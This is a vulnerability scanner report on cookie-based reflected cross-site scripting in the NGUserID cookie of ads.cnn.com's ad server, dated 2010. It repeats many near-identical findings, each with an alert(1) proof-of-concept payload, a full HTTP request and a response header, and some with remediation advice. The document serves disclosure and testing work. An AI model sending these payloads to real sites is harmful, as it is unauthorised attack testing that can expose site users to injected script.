The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9da7'-alert(1)-'8f056a70ec5 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 327c2"><script>alert(1)</script>efb7329b947 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2327c2"><script>alert(1)</script>efb7329b947; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:14 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:14 GMT Pragma: no-cache Content-Length: 3106 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3b9e"><script>alert(1)</script>8794e90630d was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2c3b9e"><script>alert(1)</script>8794e90630d; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:00 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:00 GMT Pragma: no-cache Content-Length: 5429 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39f2d"><script>alert(1)</script>53be0ceb6c6 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b92b"><script>alert(1)</script>a2756d1bac2 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-24b92b"><script>alert(1)</script>a2756d1bac2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:06:52 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:06:52 GMT Pragma: no-cache Content-Length: 2970 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24cd4"><script>alert(1)</script>d7a08f7bc8b was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-224cd4"><script>alert(1)</script>d7a08f7bc8b; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:14 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:14 GMT Pragma: no-cache Content-Length: 7900 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd242"><script>alert(1)</script>f63399d10fd was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 195f5"><script>alert(1)</script>ff29366999f was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2195f5"><script>alert(1)</script>ff29366999f; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:25 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:25 GMT Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 8230
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e64e8'-alert(1)-'c0ca0c6aebe was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2e64e8'-alert(1)-'c0ca0c6aebe; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:25 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:25 GMT Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 8091
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbcea"><script>alert(1)</script>9641632f51a was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70214'-alert(1)-'9cb0dbf117b was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80088'-alert(1)-'ad65daf9de5 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-280088'-alert(1)-'ad65daf9de5; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:23 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:23 GMT Pragma: no-cache Content-Length: 6687 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de5cd"><script>alert(1)</script>d11bd9f300d was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2de5cd"><script>alert(1)</script>d11bd9f300d; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:23 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:23 GMT Pragma: no-cache Content-Length: 6732 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ecf9"><script>alert(1)</script>7503d27017f was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-26ecf9"><script>alert(1)</script>7503d27017f; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:06:49 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:06:49 GMT Pragma: no-cache Content-Length: 1139 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88e11"><script>alert(1)</script>59f8305d2ec was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60664"><script>alert(1)</script>10160db97db was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-260664"><script>alert(1)</script>10160db97db; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:06:49 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:06:49 GMT Pragma: no-cache Content-Length: 1139 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 404be"><script>alert(1)</script>ebcf0719a27 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2404be"><script>alert(1)</script>ebcf0719a27; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:04 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:04 GMT Pragma: no-cache Content-Length: 1014 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 102ea"><script>alert(1)</script>ef8f7d5a3cf was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6da51"><script>alert(1)</script>f3734144682 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-26da51"><script>alert(1)</script>f3734144682; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:03 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:03 GMT Pragma: no-cache Content-Length: 1014 Connection: close Content-Type: text/html